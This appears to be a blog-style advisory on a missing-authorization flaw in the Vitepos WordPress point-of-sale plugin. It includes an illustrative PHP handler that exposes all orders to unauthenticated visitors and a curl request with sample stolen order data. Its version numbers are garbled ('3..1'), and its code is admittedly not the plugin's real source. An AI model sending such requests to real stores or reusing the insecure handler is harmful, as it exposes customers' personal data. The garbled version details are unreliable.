If you own or manage a WordPress site using the Vitepos Point-of-Sale (PoS) plugin, you need to hear about CVE-2024-33574. This vulnerability is pretty severe — it basically lets anyone do things they shouldn’t be allowed to, right from the outside.

In this exclusive guide, I’ll break down the vulnerability, show its real impact, walk through the code, and share how someone could exploit it. I’ll also give you references you’ll want to bookmark for more information.

What is Vitepos?

Vitepos is a Point-of-Sale (PoS) plugin for WooCommerce. Store owners install it to handle in-person sales, manage inventory, and process payments from their WordPress dashboard.

What Is CVE-2024-33574?

CVE-2024-33574 is a Missing Authorization vulnerability in Vitepos, affecting all versions up to and including 3..1. In simple words: Vitepos does not properly check who’s making a request for certain sensitive actions. So, anyone — even a non-logged-in visitor — might be able to perform admin-only operations.

Affected versions: Up to 3..1

- Vulnerability Type: Missing Authorization (can lead to unauthorized data access or configuration changes)
- Official reference: NVD Entry for CVE-2024-33574

How Does This Happen?

In plugins like Vitepos, developers create “endpoints” (think of these as URLs that do stuff when you send them a request). Every time someone tries to do something important, like change settings or view private information, the system should check if that person is logged in and allowed to do it.

But with some functions in Vitepos (prior to 3..1), those checks were missing.

The Juicy Part: Example Vulnerable Code

The heart of the problem? Missing lines like current_user_can() or check_ajax_referer(), which are standard WordPress ways to verify a user.

Here’s what a simplified vulnerable handler might look like (for illustrative purposes)

// INSECURE: Missing authentication/authorization check!
add_action('wp_ajax_nopriv_vitepos_get_orders', 'vitepos_get_orders_handler');
function vitepos_get_orders_handler() {
    // Anyone can call this function and fetch order data!
    $orders = get_posts([
        'post_type' => 'shop_order',
        'numberposts' => -1
    ]);
    echo json_encode($orders);
    wp_die();
}

The problem? The function
add_action('wp_ajax_nopriv_vitepos_get_orders'...)
registers an endpoint that *any visitor* — logged in or not — can access. There are no checks for capability or permissions.

How Could Someone Exploit CVE-2024-33574?

Scenario:
An attacker discovers (via documentation or trial and error) the vulnerable endpoint — let’s say:
/wp-admin/admin-ajax.php?action=vitepos_get_orders

Then, using a tool like curl or Postman, they can craft requests to this endpoint, and boom — sensitive data, like full order info, can be returned to them, no login required.

Realistic Exploit Example

curl -k "https://victim-store.com/wp-admin/admin-ajax.php?action=vitepos_get_orders";

Response (truncated)

[
  {"ID":12345,"post_title":"Order #12345","post_status":"wc-completed", ...},
  {"ID":12346,"post_title":"Order #12346", ...}
]

Privacy Breach: Customer personal info, addresses, emails, and order data could be leaked.

- Business Risk: Competitors or malicious actors could monitor your sales or manipulate your products/settings.

You are at risk if

- You’re using Vitepos version up to 3..1 (including 3.., 2.x.x, and any version not listed as patched)

How Do You Fix It?

- UPDATE IMMEDIATELY: Upgrade Vitepos to the latest version as soon as a patch is released (check plugin page).

References & Further Reading

- NVD Official CVE-2024-33574 Record
- Vitepos WordPress Plugin
- Wordfence’s View of CVE-2024-33574

Summary

CVE-2024-33574 in Vitepos makes it way too easy for outsiders to access sensitive data or maybe even mess with your store. If you use this plugin, act now: upgrade, secure your endpoints, and stay alert.

Stay safe — and let your friends in e-commerce know about this, too.


*Exclusive to you by request. Share knowledge, help others secure their shop!*

Timeline

Published on: 05/08/2024 14:15:08 UTC
Last modified on: 05/08/2024 17:05:24 UTC